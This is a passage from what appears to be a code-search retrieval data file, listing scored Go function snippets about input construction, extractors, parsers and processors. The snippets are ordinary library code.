(i InputFileGenerated) construct() InputFileClass { return &i }", "title": "" }, { "docid": "e5a8d4b8e708720dfa5539e7cfc3ce31", "score": "0.48982152", "text": "func (ed *Experiment) newInputProcessor(experiment model.Experiment,\n\tinputList []model.OOAPIURLInfo, saver engine.Saver, submitter engine.Submitter) inputProcessor {\n\tif ed.newInputProcessorFn != nil {\n\t\treturn ed.newInputProcessorFn(experiment, inputList, saver, submitter)\n\t}\n\treturn &engine.InputProcessor{\n\t\tAnnotations: ed.Annotations,\n\t\tExperiment: &experimentWrapper{\n\t\t\tchild: engine.NewInputProcessorExperimentWrapper(experiment),\n\t\t\tlogger: ed.Session.Logger(),\n\t\t\ttotal: len(inputList),\n\t\t},\n\t\tInputs: inputList,\n\t\tMaxRuntime: time.Duration(ed.MaxRuntime) * time.Second,\n\t\tOptions: experimentOptionsToStringList(ed.ExtraOptions),\n\t\tSaver: engine.NewInputProcessorSaverWrapper(saver),\n\t\tSubmitter: &experimentSubmitterWrapper{\n\t\t\tchild: engine.NewInputProcessorSubmitterWrapper(submitter),\n\t\t\tlogger: ed.Session.Logger(),\n\t\t},\n\t}\n}", "title": "" }, { "docid": "bb60ad8f915bf42bffa0834291b7d30c", "score": "0.48719537", "text": "func newPageInfo(fetch func(int, string) (string, error), bufLen func() int, takeBuf func() interface{}) (pi *PageInfo, next func() error) {\n\tpi = &PageInfo{\n\t\tfetch: fetch,\n\t\tbufLen: bufLen,\n\t\ttakeBuf: takeBuf,\n\t}\n\treturn pi, pi.next\n}", "title": "" }, { "docid": "b843a3171e82a947748d423c3b3c5583", "score": "0.48526242", "text": "func (i InputWebFileLocation) construct() InputWebFileLocationClass { return &i }", "title": "" }, { "docid": "b843a3171e82a947748d423c3b3c5583", "score": "0.48526242", "text": "func (i InputWebFileLocation) construct() InputWebFileLocationClass { return &i }", "title": "" }, { "docid": "b1f68f38ad7b9db46865fcb76bed75ff", "score": "0.4848057", "text": "func (evaluator *Evaluator) ExtractImagNew(c0 *Ciphertext, evakey *RotationKey) (cOut *Ciphertext, err error) {\n\n\tcOut = evaluator.ckkscontext.NewCiphertext(c0.Degree(), c0.Level(), c0.Scale())\n\n\tif err = evaluator.ExtractImag(c0, evakey, cOut); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn cOut, nil\n}", "title": "" }, { "docid": "795044dafd084d7c1d3d27ce34a2e4c1", "score": "0.48301145", "text": "func NewExtractEvent(output string, structuredOutput, extracted interface{}) *ExtractEvent {\n\treturn &ExtractEvent{\n\t\tOutput: output,\n\t\tStructuredOutput: structuredOutput,\n\t\tData: extracted,\n\t}\n}", "title": "" }, { "docid": "4badd686a166596ae0b863c955832dc6", "score": "0.48258537", "text": "func init() {\n\tinternal.Parse = Parse\n\tinternal.ParseFile = ParseFile\n}", "title": "" }, { "docid": "6a932d48a8133916d94bdcfc55f68b33", "score": "0.48230547", "text": "func (m *MetricSet) extract(ctx context.Context, extractor tablespaceExtractMethods) (out *extractedData, err error) {\n\tout = &extractedData{}\n\n\tif out.dataFiles, err = extractor.dataFilesData(ctx); err != nil {\n\t\treturn nil, errors.Wrap(err, \"error getting data_files\")\n\t}\n\n\tif out.tempFreeSpace, err = extractor.tempFreeSpaceData(ctx); err != nil {\n\t\treturn nil, errors.Wrap(err, \"error getting temp_free_space\")\n\t}\n\n\tif out.freeSpace, err = extractor.usedAndFreeSpaceData(ctx); err != nil {\n\t\treturn nil, errors.Wrap(err, \"error getting free space data\")\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "8d0b9d17e66fe22e6700e8854e64ec1a", "score": "0.4817099", "text": "func initialiseExtract() {\n\n\tutil.Initialise()\n\n\tvar found bool\n\n\tif encryptDestination, found = os.LookupEnv(util.ExtractOutput); !found {\n\t\tlog.Fatal().Msg(\"The \" + util.ExtractOutput + \" variable has not been set\")\n\t\tos.Exit(1)\n\t}\n\n\tdatabase, found := os.LookupEnv(util.Database)\n\tif !found {\n\t\tdatabase = util.DefaultDatabase\n\t}\n\n\tserver := func(db *mysql.Storage) {\n\t\tvar s string\n\t\tif s, found = os.LookupEnv(util.Server); !found {\n\t\t\tlog.Fatal().Msg(\"The \" + util.Server + \" varible has not been set\")\n\t\t\tos.Exit(1)\n\t\t}\n\t\tdb.Server = s\n\t}\n\n\tuser := func(db *mysql.Storage) {\n\t\tvar user string\n\t\tif user, found = os.LookupEnv(util.User); !found {\n\t\t\tlog.Fatal().Msg(\"The \" + util.Server + \" varible has not been set\")\n\t\t\tos.Exit(1)\n\t\t}\n\t\tdb.User = user\n\t}\n\n\tpassword := func(db *mysql.Storage) {\n\t\tvar pwd string\n\t\tif pwd, found = os.LookupEnv(util.Password); !found {\n\t\t\tlog.Fatal().Msg(\"The \" + util.Password + \" varible has not been set\")\n\t\t\tos.Exit(1)\n\t\t}\n\t\tdb.Password = pwd\n\t}\n\n\tdb = mysql.NewStorage(database, server, user, password)\n\n\tif err := db.Connect(); err != nil {\n\t\t// errors have already been reported and we can't continue so stop\n\t\tos.Exit(1)\n\t}\n\n}", "title": "" }, { "docid": "21460a8d7ab17d49824b49f67681b6d9", "score": "0.48011023", "text": "func (e ProjectTransform) Extract() (Extraction, error) {\n\tlogrus.Info(\"ProjectTransform::Extract\")\n\n\tcontent, err := io.FetchFile(env.Config().GetString(\"MasterConfigFile\"))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tmasterConfig, err := decode.MasterConfig(content)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar extraction ProjectExtraction\n\textraction.MasterConfig = *masterConfig\n\n\treturn extraction, nil\n}", "title": "" }, { "docid": "f10d80687792a40c6a394d889d1b2c36", "score": "0.47727957", "text": "func NewProcessor() *Processor {\n\treturn &Processor{\n\t\tMappings: resolver.NewMappings(),\n\t\tLoader: ioutil.ReadFile,\n\t\tParsed: map[string]ParseResult{},\n\t\tResolved: map[string]ResolveResult{},\n\t}\n}", "title": "" }, { "docid": "b6624e526b1c3fd0b7c7c6e474d354af", "score": "0.47721636", "text": "func newPageGetter(customDir string) *pageGetter {\n\treturn &pageGetter{\n\t\tpages: make(map[string][]byte),\n\t\tdir: customDir,\n\t}\n}", "title": "" }, { "docid": "0e9d90fa767e2c332e8139c217897379", "score": "0.477084", "text": "func (ed *Editor) initTransformation() {\n\tif ed.uncommitted == nil {\n\t\ted.uncommitted = new(hist.Transformation)\n\t\ted.uncommitted.Pre = hist.Chunk{\n\t\t\tSel: ed.dot,\n\t\t\tText: ed.buffer.GetSel(ed.dot),\n\t\t}\n\t}\n}", "title": "" }, { "docid": "f92f80eac4fc2653aa6befc6a1995f4c", "score": "0.4764681", "text": "func (rs *RegisteredSources) NewProcessor() *Processor {\n var sorted []*RegisteredSource\n\n for _, s := range *rs {\n sorted = append(sorted, s)\n }\n sort.SliceStable(sorted, func(i, j int) bool {\n return sorted[i].order < sorted[j].order\n })\n\n p := new(Processor)\n\n for _, s := range sorted {\n p.add(s.name, s.SourceFactory())\n }\n return p\n}", "title": "" }, { "docid": "8b3b5bd1d1753c092a9dd8bb6f86068f", "score": "0.47494164", "text": "func (i InputFileLocal) construct() InputFileClass { return &i }", "title": "" }, { "docid": "a676b0dc169d8cd8296831aa14fe894b", "score": "0.47327515", "text": "func newSource(path ...string) (result Source) {\n\tresult = &source{}\n\n\tif len(path) > 0 {\n\t\tresult.Path(path[0])\n\t}\n\n\t// set default\n\tresult.Value(SOURCE_DEFAULT_VALUE_FIELD)\n\tresult.Display(SOURCE_DEFAULT_DISPLAY_FIELD)\n\n\treturn\n}", "title": "" }, { "docid": "1f69ee972258fe3e8f033ef82b9f58d7", "score": "0.47265196", "text": "func (c JSON) New(r io.Reader) Extractor {\n\tdecoder := json.NewDecoder(r)\n\treturn &jsonExtractor{\n\t\tconfig: c,\n\t\tdecoder: decoder,\n\n\t\tmatcher: c.getMatcher(),\n\t}\n}", "title": "" }, { "docid": "d052c462f996e6932299b81202543514", "score": "0.47038096", "text": "func Create(features Features, extractors Config) *[]Extracter {\n\tresults := []Extracter{}\n\n\tif !features.ENABLED {\n\t\treturn &results\n\t}\n\n\tfor _, extractor := range extractors {\n\t\tresults = append(results, regex{\n\t\t\textractor.ORIGKEY,\n\t\t\textractor.DESTKEY,\n\t\t\textractor.REG,\n\t\t})\n\t}\n\n\treturn &results\n}", "title": "" }, { "docid": "1d339f01c1f5e775fbcddc690d469aa2", "score": "0.47024682", "text": "func NewProcessor(debug bool, client *twitter.Client, selfUser *twitter.User, spacePeopleListID int64) *Processor {\n\tp := &Processor{\n\t\tdebug: debug,\n\n\t\tclient: client,\n\t\tselfUser: selfUser,\n\n\t\tseenLinks: make(map[string]time.Time),\n\n\t\tspacePeopleListID: spacePeopleListID,\n\n\t\tseenTweets: make(map[int64]bool),\n\t\tspacePeopleListMembers: make(map[int64]bool),\n\t}\n\n\tutil.LogError(util.LoadJSON(articlesFilename, &p.seenLinks), \"loading links\")\n\n\treturn p\n}", "title": "" }, { "docid": "a88dab812499a152052d13d0b27a45a5", "score": "0.46997756", "text": "func newParser(input string) *parser {\n\tp := &parser{\n\t\tlex: lex(input),\n\t}\n\treturn p\n}", "title": "" }, { "docid": "34fefe5b312f780b0d7fd4d2c02dfaf2", "score": "0.46960494", "text": "func NewProcessing(a *settings.Args) *Processing {\n\tmcpCache := snapshot.New(groups.IndexFunction)\n\treturn &Processing{\n\t\targs: a,\n\t\tmcpCache: mcpCache,\n\t\tconfigzTopic: configz.CreateTopic(mcpCache),\n\t}\n}", "title": "" }, { "docid": "7b6c47e0a402451eae491befe8731d45", "score": "0.4691557", "text": "func (fgen *funcGen) newExtractValueInst(ident ir.LocalIdent, old *ast.ExtractValueInst) (*ir.InstExtractValue, error) {\n\txType, err := fgen.gen.irType(old.X().Typ())\n\tif err != nil {\n\t\treturn nil, errors.WithStack(err)\n\t}\n\tindices := uintSlice(old.Indices())\n\ttyp := aggregateElemType(xType, indices)\n\treturn &ir.InstExtractValue{LocalIdent: ident, Typ: typ}, nil\n}", "title": "" }, { "docid": "676afb9393fb5ec12409d88c9fc48924", "score": "0.4682283", "text": "func (i InputFileID) construct() InputFileClass { return &i }", "title": "" }, { "docid": "7ae24cfbd56d15172068a114d40a1619", "score": "0.46561423", "text": "func newSearchHandler(filename string) searchHandler {\n\tt := levtrie.New()\n\tlogger.Printf(\"Loading %v, this may take a few seconds...\\n\", filename)\n\tstart := time.Now()\n\tfile, err := os.Open(filename)\n\tif err != nil {\n\t\tpanic(fmt.Sprintf(\"%v: %v\", filename, err))\n\t}\n\tdefer file.Close()\n\tscanner := bufio.NewScanner(file)\n\tscanner.Split(bufio.ScanLines)\n\tcount := 0\n\tfor scanner.Scan() {\n\t\tword := strings.ToLower(scanner.Text())\n\t\tt.Set(word, \"\")\n\t\tcount += 1\n\t}\n\telapsed := time.Since(start)\n\tlogger.Printf(\"Loaded %v words from %v in time %v.\\n\",\n\t\tcount, filename, elapsed)\n\treturn searchHandler{t: t}\n}", "title": "" }, { "docid": "97614dac41be1edae68b35240b60a0d6", "score": "0.46531504", "text": "func (i InputWebFileGeoPointLocation) construct() InputWebFileLocationClass { return &i }", "title": "" }, { "docid": "97614dac41be1edae68b35240b60a0d6", "score": "0.46531504", "text": "func (i InputWebFileGeoPointLocation) construct() InputWebFileLocationClass { return &i }", "title": "" }, { "docid": "0f0eae797570e6e13aeed63820074fd9", "score": "0.4646456", "text": "func New(e error) ArchiverExtractorError {\n\treturn ArchiverExtractorError{archiverError: e}\n}", "title": "" }, { "docid": "befa8369841ca68c78da3eb4682f1a59", "score": "0.4622698", "text": "func (i InputFileRemote) construct() InputFileClass { return &i }", "title": "" }, { "docid": "345b67ae7b5e14ccf6db78e378a24d3c", "score": "0.45988324", "text": "func newParser(input string) (*Parser, error) {\n\tl := newLexer(context.Background(), input, untilEOF)\n\n\tctx, cancel := context.WithCancel(context.Background())\n\treturn &Parser{\n\t\tctx: ctx,\n\t\tcancel: cancel,\n\t\tlex: l,\n\t\trecv: l.items,\n\t}, nil\n}", "title": "" }, { "docid": "30360e42ced4677b0bd3ad57f5a30e7f", "score": "0.45886344", "text": "func NewCallExtractor(pkgname string, path string, trace io.Writer) *CallExtractor {\n\treturn &CallExtractor{\n\t\tpkgname: pkgname,\n\t\ttrace: trace,\n\t\tcfg: call.Config{path},\n\t\tfiles: make(map[string]bool),\n\t\tsnippets: make(map[string]Snippet),\n\t}\n}", "title": "" }, { "docid": "098bee69bf28a798122e009f30d4f9fc", "score": "0.45821056", "text": "func New(sourceIDs []SourceID, maxSamples int) (*Collector, error) {\n\tc := &Collector{}\n\n\tch := make(chan *sources.Malware, maxSamples)\n\tc.SampleStream = ch\n\n\tc.differentSources = map[SourceID]malwareSource{}\n\n\tfor _, sourceKey := range sourceIDs {\n\t\tif _, ok := totalSources[sourceKey]; ok {\n\t\t\tlog.Debugf(\"initializing source %s\", sourceKey)\n\t\t\tc.orderedKeys = append(c.orderedKeys, sourceKey)\n\t\t\tc.differentSources[sourceKey] = totalSources[sourceKey]\n\t\t} else {\n\t\t\treturn nil, fmt.Errorf(\"unknown parser type %d\", sourceKey)\n\t\t}\n\t}\n\n\treturn c, nil\n}", "title": "" }, { "docid": "f5b86e9cb4217ceaef9de0f997ae1609", "score": "0.45617858", "text": "func (p *Parse) New(key, value, separator string) transformer.Transformer {\n\treturn &Parse{\n\t\tPath: key,\n\t\tValue: value,\n\t\tSeparator: separator,\n\n\t\tvariables: p.variables,\n\t}\n}", "title": "" }, { "docid": "a011be7a2aab659b1134b50cad27efc4", "score": "0.45484957", "text": "func (d *FileDiff) New() interface{} {\n\treturn d.new\n}", "title": "" }, { "docid": "f6278c32cec4986462774543388ffd91", "score": "0.45396996", "text": "func newForwardInterceptor(server *Server, stream Router_HtlcInterceptorServer) *forwardInterceptor {\n\treturn &forwardInterceptor{\n\t\tserver: server,\n\t\tstream: stream,\n\t\tholdForwards: make(\n\t\t\tmap[channeldb.CircuitKey]htlcswitch.InterceptedForward),\n\t\tquit: make(chan struct{}),\n\t\tintercepted: make(chan htlcswitch.InterceptedForward),\n\t}\n}", "title": "" }, { "docid": "c25781dabb77f69efc9cfdd47e2770cc", "score": "0.4519638", "text": "func (c *RealisasiController) New(base interface{}) {\n\tc.Base = base.(*Base)\n\n\tlog.Println(\"Scanning for Realisasi files.\")\n\tc.FileExtension = \".xlsx\"\n}", "title": "" }, { "docid": "061fae02c6cd01b132f2046a1b40cdef", "score": "0.45107347", "text": "func NewDirInfo(root string, filter Filter) (*DirInfo, error) {\n\n\t// apart := string(os.PathSeparator)\n\t// if !strings.HasSuffix(root, apart) {\n\t// \troot += apart\n\t// }\n\troot, err := filepath.Abs(root)\n\tif err != nil {\n\n\t\tfmt.Println(\"filepath abs error :\" + err.Error())\n\t\treturn nil, err\n\t}\n\troot = AddApart(root)\n\n\tinfo := new(DirInfo)\n\t*info = DirInfo{\n\t\t_focus: 0,\n\t\t_filter: filter,\n\t\t_fileArr: nil,\n\t\t_root: root,\n\t}\n\n\terr = filepath.Walk(root, info.handleWalk)\n\tif err != nil {\n\n\t\tfmt.Println(\"there's an error in dict reset : \" + err.Error())\n\t}\n\treturn info, err\n}", "title": "" }, { "docid": "d35583de4c541c1b77302cb3f410a398", "score": "0.45043963", "text": "func newEscaper(t *Template) *escaper {\n\treturn &escaper{\n\t\tt,\n\t\tmap[string]context{},\n\t\tmap[string]*template.Template{},\n\t\tmap[string]bool{},\n\t\tmap[*parse.ActionNode][]string{},\n\t\tmap[*parse.TemplateNode]string{},\n\t\tmap[*parse.TextNode][]byte{},\n\t}\n}", "title": "" }, { "docid": "6bbd2483f9b7adeafbceca3b77daae44", "score": "0.45037404", "text": "func newExporter(psLister interface{}, processQuerier *discovery.DynamicDiscovery) *Exporter {\n\tif source, ok := psLister.(*process.Processes); ok {\n\t\treturn &Exporter{\n\t\t\tSource: source,\n\t\t\tProcessQuerier: processQuerier,\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "68c36e99d4d2d0a9ea10972105e4532a", "score": "0.4500286", "text": "func (d Extractor) Extract(html, sourceURL string) Extracted {\n\tvar extracted = Extracted{}\n\n\tfor _, technique := range d.techniques {\n\n\t\ttechniqueExtracted := d.runTechnique(technique, html)\n\t\ttechniqueCleaned := d.cleanUp(techniqueExtracted, technique, sourceURL)\n\n\t\tfor dataType, dataValues := range techniqueCleaned {\n\t\t\tvar uniqueDataValues []string\n\n\t\t\tif len(dataValues) > 0 {\n\t\t\t\tif _, ok := extracted[dataType]; !ok {\n\t\t\t\t\textracted[dataType] = []string{}\n\t\t\t\t}\n\t\t\t\t// don't include duplicate values\n\t\t\t\tfor _, x := range dataValues {\n\t\t\t\t\tif !utils.StringInSlice(x, extracted[dataType]) {\n\t\t\t\t\t\tuniqueDataValues = append(uniqueDataValues, x)\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\textracted[dataType] = append(extracted[dataType], uniqueDataValues...)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn extracted\n}", "title": "" }, { "docid": "aeefc7b81b04148d017b713de8ba0e8e", "score": "0.44975126", "text": "func init() {\n\t//Context.go\n\tcontextType = reflect.TypeOf(Context{})\n\t//Renderer.go\n\trendererType = reflect.TypeOf(Renderer{})\n\t//TemplateCache.go\n\ttemplatesDirectory = getCurrentDir()\n\n\t//I don't want to store in the memory a New() Iris because user maybe wants to use the form of api := Iris.New(); api.Get... instead of Iris.Get... (yet)\n\tmainIris = nil\n}", "title": "" }, { "docid": "c9716570e2c20adadb2017c790ea6737", "score": "0.44909573", "text": "func NewExtractElement(x, index value.Value) *InstExtractElement {\n\treturn &InstExtractElement{X: x, Index: index}\n}", "title": "" }, { "docid": "739ae95bf03e7f4eb2cdb901986df60d", "score": "0.44876078", "text": "func New() *Client {\n\tnewSession := session.Must(session.NewSession())\n\tservice := textract.New(newSession)\n\n\treturn &Client{\n\t\ttextractClient: service,\n\t}\n}", "title": "" }, { "docid": "407180c21056f922b39dcfb34f1f9c6f", "score": "0.44860238", "text": "func newFileFetcher() *fileFetcherExtender {\n\treturn &fileFetcherExtender{new(DefaultExtender)}\n}", "title": "" }, { "docid": "a906e9c48ffc3cda1c6a2697e9165186", "score": "0.44764405", "text": "func Extract(extractors *[]Extracter, commitMaps *[]map[string]interface{}) *types.Changelog {\n\tresults := []map[string]interface{}{}\n\n\tfor _, commitMap := range *commitMaps {\n\t\tresult := &commitMap\n\n\t\tfor _, extractor := range *extractors {\n\t\t\tresult = extractor.Extract(result)\n\t\t}\n\n\t\tresults = append(results, *result)\n\t}\n\n\tchangelog := types.Changelog{}\n\tchangelog.Datas = results\n\tchangelog.Metadatas = map[string]interface{}{}\n\n\treturn &changelog\n}", "title": "" }, { "docid": "c7c9a8ae02ce40c2abb5ae7f666739b4", "score": "0.44760147", "text": "func (s *BaseNuggetListener) ExitInitextract(ctx *InitextractContext) {}", "title": "" }, { "docid": "2cc252846ed08b642cf04eb211956566", "score": "0.44757503", "text": "func NewParser(r io.Reader) *Parser {\n\tp := Parser{}\n\tcurrentParser = &p\n\tp.s = newScanner(r)\n\tp.n2f = map[string]filter{}\n\tp.n2m = map[string]*measurement{}\n\tp.n2f[\"all\"] = new(allFilter)\n\tp.f2n = map[filter]string{}\n\tp.measurements = []*measurement{}\n\treturn &p\n}", "title": "" }, { "docid": "adf44dc8931a50381fc8ede763f6ae39", "score": "0.44723403", "text": "func newDispatcher(mapper expr.Evaluator, rt Resolver, gp *pool.GoroutinePool, identityAttribute string) *dispatcher {\n\tm := &dispatcher{\n\t\tmapper: mapper,\n\t\tgp: gp,\n\t\tidentityAttribute: identityAttribute,\n\t}\n\tm.ChangeResolver(rt)\n\treturn m\n}", "title": "" }, { "docid": "89efc63c0827972406f31e8310178bd9", "score": "0.44715512", "text": "func NewFeedExtractor(name string, options interface{}) (FeedExtractor, error) {\n\tvar extractor FeedExtractor\n\n\tswitch name {\n\tcase \"DirectDownload\", \"directdownload\", \"dd\", \"directdownload.tv\":\n\t\textractor = &DirectDownload{}\n\tdefault:\n\t\treturn nil, errors.New(\"Invalid Feed Extractor\")\n\t}\n\n\tif options != nil {\n\t\toptionsError := extractor.SetOptions(options)\n\t\tif optionsError != nil {\n\t\t\treturn nil, optionsError\n\t\t}\n\t}\n\n\textractor.Init()\n\n\treturn extractor, nil\n}", "title": "" }, { "docid": "00c1997d3f4cfa727667dcf0a9382c4f", "score": "0.44700894", "text": "func (c *RKAPController) New(base interface{}) {\n\tc.Base = base.(*Base)\n\n\tlog.Println(\"Scanning for RKAP files.\")\n\tc.FileExtension = \".xlsx\"\n}", "title": "" }, { "docid": "d8f4018699da0286bb56b1ff39f3043d", "score": "0.4468871", "text": "func newProcessPlanner(request ImageImportRequest, diskInspector disk.Inspector, logger logging.Logger) processPlanner {\n\treturn &defaultPlanner{request, diskInspector, logger}\n}", "title": "" }, { "docid": "98e7ef943fb0f17c01f60d058d29e2e5", "score": "0.4464165", "text": "func newInfo(b []byte) (*info, error) {\n\tvar i info\n\tif err := bencode.DecodeBytes(b, &i); err != nil {\n\t\treturn nil, err\n\t}\n\n\thash := sha1.New()\n\thash.Write(b)\n\tcopy(i.Hash[:], hash.Sum(nil))\n\n\ti.MultiFile = len(i.Files) != 0\n\n\ti.NumPieces = uint32(len(i.Pieces)) / sha1.Size\n\n\tif !i.MultiFile {\n\t\ti.TotalLength = i.Length\n\t} else {\n\t\tfor _, f := range i.Files {\n\t\t\ti.TotalLength += f.Length\n\t\t}\n\t}\n\n\treturn &i, nil\n}", "title": "" }, { "docid": "a7af5aae2724bed86d3c84f4cc3bdcd1", "score": "0.44635764", "text": "func InitNew() {\n\n}", "title": "" }, { "docid": "5e65bde87e18080dbc5de042927248a6", "score": "0.44588277", "text": "func (genericPipeline *GenericPipeline) initialize() {\n\tsources := genericPipeline.Sources()\n\n\tgenericPipeline.partsMap = make(map[string]common.Part)\n\tfor _, source := range sources {\n\t\taddPartToMap(source, genericPipeline.partsMap)\n\t}\n\n\tgenericPipeline.connectorsMap = make(map[string]common.Connector)\n\tfor _, source := range sources {\n\t\tconnector := source.Connector()\n\t\tif connector != nil {\n\t\t\taddConnectorToMap(connector, genericPipeline.connectorsMap)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "5ee1ae420cf521d26c225c694f067984", "score": "0.44547635", "text": "func New(logger log.FieldLogger) *Processor {\n\treturn &Processor{\n\t\tlogger: logger,\n\t}\n}", "title": "" }, { "docid": "f5afa67a44b97d5ff7f0f1d7d3b0fc39", "score": "0.4450516", "text": "func (request *Request) Extract(data map[string]interface{}, matcher *extractors.Extractor) map[string]struct{} {\n\treturn protocols.MakeDefaultExtractFunc(data, matcher)\n}", "title": "" }, { "docid": "0f8a65abdf70d3cb0afda4742633077e", "score": "0.44495544", "text": "func New(state template.GenericStateHandler) *Templater {\n\treturn &Templater{\n\t\tstate: state,\n\t}\n}", "title": "" }, { "docid": "0c5a46b3b1cb45449574868fb9fee1e3", "score": "0.44489366", "text": "func newUnstructuredConverter() (*unstructuredConverter, error) {\n\tuc := &unstructuredConverter{\n\t\tscheme: runtime.NewScheme(),\n\t}\n\n\t// Setup converter to understand custom CRD types\n\tambassador.AddToScheme(uc.scheme)\n\n\t// Add the core types we need\n\tif err := scheme.AddToScheme(uc.scheme); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn uc, nil\n}", "title": "" }, { "docid": "5ccd7429b59979e090a3fbb191c04921", "score": "0.44488502", "text": "func TestFaultyExtract(t *testing.T) {\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {\n\t\tw.Write([]byte(\"hello\"))\n\t})\n\n\tl, err := New(handler, faultyExtract, 1)\n\trequire.NoError(t, err)\n\n\tsrv := httptest.NewServer(l)\n\tdefer srv.Close()\n\n\tre, _, err := testutils.Get(srv.URL)\n\trequire.NoError(t, err)\n\tassert.Equal(t, http.StatusInternalServerError, re.StatusCode)\n}", "title": "" }, { "docid": "bd1ed423663c8b2b4e940ceaec7bb1a9", "score": "0.44344836", "text": "func (m *metricElasticsearchNodePipelineIngestDocumentsCurrent) init() {\n\tm.data.SetName(\"elasticsearch.node.pipeline.ingest.documents.current\")\n\tm.data.SetDescription(\"Total number of documents currently being ingested by a pipeline.\")\n\tm.data.SetUnit(\"{documents}\")\n\tm.data.SetEmptySum()\n\tm.data.Sum().SetIsMonotonic(false)\n\tm.data.Sum().SetAggregationTemporality(pmetric.AggregationTemporalityCumulative)\n\tm.data.Sum().DataPoints().EnsureCapacity(m.capacity)\n}", "title": "" }, { "docid": "00ad30b3b7498d2d16f47cc257688154", "score": "0.44339386", "text": "func (i InputMessagesFilterDocument) construct() MessagesFilterClass { return &i }", "title": "" }, { "docid": "00ad30b3b7498d2d16f47cc257688154", "score": "0.44339386", "text": "func (i InputMessagesFilterDocument) construct() MessagesFilterClass { return &i }", "title": "" }, { "docid": "d8f4a68ab36787a2aad408886bdcfea0", "score": "0.44229883", "text": "func NewRetriever(tokenSource []lexer.Token) *Retriever {\n\tfirstTokenType := tokenSource[0].Type\n\tswitch firstTokenType {\n\tcase lexer.SELECT:\n\t\treturn &Retriever{TokenSource: tokenSource, endTokenTypes: lexer.EndOfSelect}\n\tcase lexer.FROM:\n\t\treturn &Retriever{TokenSource: tokenSource, endTokenTypes: lexer.EndOfFrom}\n\tcase lexer.CASE:\n\t\treturn &Retriever{TokenSource: tokenSource, endTokenTypes: lexer.EndOfCase}\n\tcase lexer.JOIN, lexer.INNER, lexer.OUTER, lexer.LEFT, lexer.RIGHT, lexer.NATURAL, lexer.CROSS:\n\t\treturn &Retriever{TokenSource: tokenSource, endTokenTypes: lexer.EndOfJoin}\n\tcase lexer.WHERE:\n\t\treturn &Retriever{TokenSource: tokenSource, endTokenTypes: lexer.EndOfWhere}\n\tcase lexer.ANDGROUP:\n\t\treturn &Retriever{TokenSource: tokenSource, endTokenTypes: lexer.EndOfAndGroup}\n\tcase lexer.ORGROUP:\n\t\treturn &Retriever{TokenSource: tokenSource, endTokenTypes: lexer.EndOfOrGroup}\n\tcase lexer.GROUP:\n\t\treturn &Retriever{TokenSource: tokenSource, endTokenTypes: lexer.EndOfGroupBy}\n\tcase lexer.HAVING:\n\t\treturn &Retriever{TokenSource: tokenSource, endTokenTypes: lexer.EndOfHaving}\n\tcase lexer.ORDER:\n\t\treturn &Retriever{TokenSource: tokenSource, endTokenTypes: lexer.EndOfOrderBy}\n\tcase lexer.LIMIT, lexer.FETCH, lexer.OFFSET:\n\t\treturn &Retriever{TokenSource: tokenSource, endTokenTypes: lexer.EndOfLimitClause}\n\tcase lexer.STARTPARENTHESIS:\n\t\treturn &Retriever{TokenSource: tokenSource, endTokenTypes: lexer.EndOfParenthesis}\n\tcase lexer.UNION, lexer.INTERSECT, lexer.EXCEPT:\n\t\treturn &Retriever{TokenSource: tokenSource, endTokenTypes: lexer.EndOfTieClause}\n\tcase lexer.UPDATE:\n\t\treturn &Retriever{TokenSource: tokenSource, endTokenTypes: lexer.EndOfUpdate}\n\tcase lexer.SET:\n\t\treturn &Retriever{TokenSource: tokenSource, endTokenTypes: lexer.EndOfSet}\n\tcase lexer.RETURNING:\n\t\treturn &Retriever{TokenSource: tokenSource, endTokenTypes: lexer.EndOfReturning}\n\tcase lexer.DELETE:\n\t\treturn &Retriever{TokenSource: tokenSource, endTokenTypes: lexer.EndOfDelete}\n\tcase lexer.INSERT:\n\t\treturn &Retriever{TokenSource: tokenSource, endTokenTypes: lexer.EndOfInsert}\n\tcase lexer.VALUES:\n\t\treturn &Retriever{TokenSource: tokenSource, endTokenTypes: lexer.EndOfValues}\n\tcase lexer.FUNCTION:\n\t\treturn &Retriever{TokenSource: tokenSource, endTokenTypes: lexer.EndOfFunction}\n\tcase lexer.TYPE:\n\t\treturn &Retriever{TokenSource: tokenSource, endTokenTypes: lexer.EndOfTypeCast}\n\tcase lexer.LOCK:\n\t\treturn &Retriever{TokenSource: tokenSource, endTokenTypes: lexer.EndOfLock}\n\tcase lexer.WITH:\n\t\treturn &Retriever{TokenSource: tokenSource, endTokenTypes: lexer.EndOfWith}\n\tdefault:\n\t\treturn nil\n\t}\n}", "title": "" }, { "docid": "7eaafbca83fbbf7353fd1bb0690e6310", "score": "0.44212994", "text": "func newInstructionTranslator(file filename) *instructionTranslator {\n\tit := &instructionTranslator{filename: file}\n\tit.blockTable = make(map[string]*instructionSet)\n\tit.setTable = map[setType]map[string][]*instructionSet{\n\t\tbytecode.MethodDef: make(map[string][]*instructionSet),\n\t\tbytecode.ClassDef: make(map[string][]*instructionSet),\n\t}\n\n\treturn it\n}", "title": "" }, { "docid": "7eaafbca83fbbf7353fd1bb0690e6310", "score": "0.44212994", "text": "func newInstructionTranslator(file filename) *instructionTranslator {\n\tit := &instructionTranslator{filename: file}\n\tit.blockTable = make(map[string]*instructionSet)\n\tit.setTable = map[setType]map[string][]*instructionSet{\n\t\tbytecode.MethodDef: make(map[string][]*instructionSet),\n\t\tbytecode.ClassDef: make(map[string][]*instructionSet),\n\t}\n\n\treturn it\n}", "title": "" }, { "docid": "3fcb743b76c77450a78491121aa5b186", "score": "0.441869", "text": "func newTestInfo(testID string) (*testInfo, error) {\n\tid, err := generateRunID(testID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar tmpDir string\n\t// testLogsPath will be used when called by Prow.\n\t// Bootstrap already gather stdout and stdin so we don't need to keep the logs from glog.\n\tif *testLogsPath != \"\" {\n\t\ttmpDir = path.Join(*testLogsPath, id)\n\t\terr = os.MkdirAll(tmpDir, 0777)\n\t} else {\n\t\ttmpDir, err = ioutil.TempDir(os.TempDir(), tmpPrefix)\n\t}\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"could not create a temporary dir: %v\", 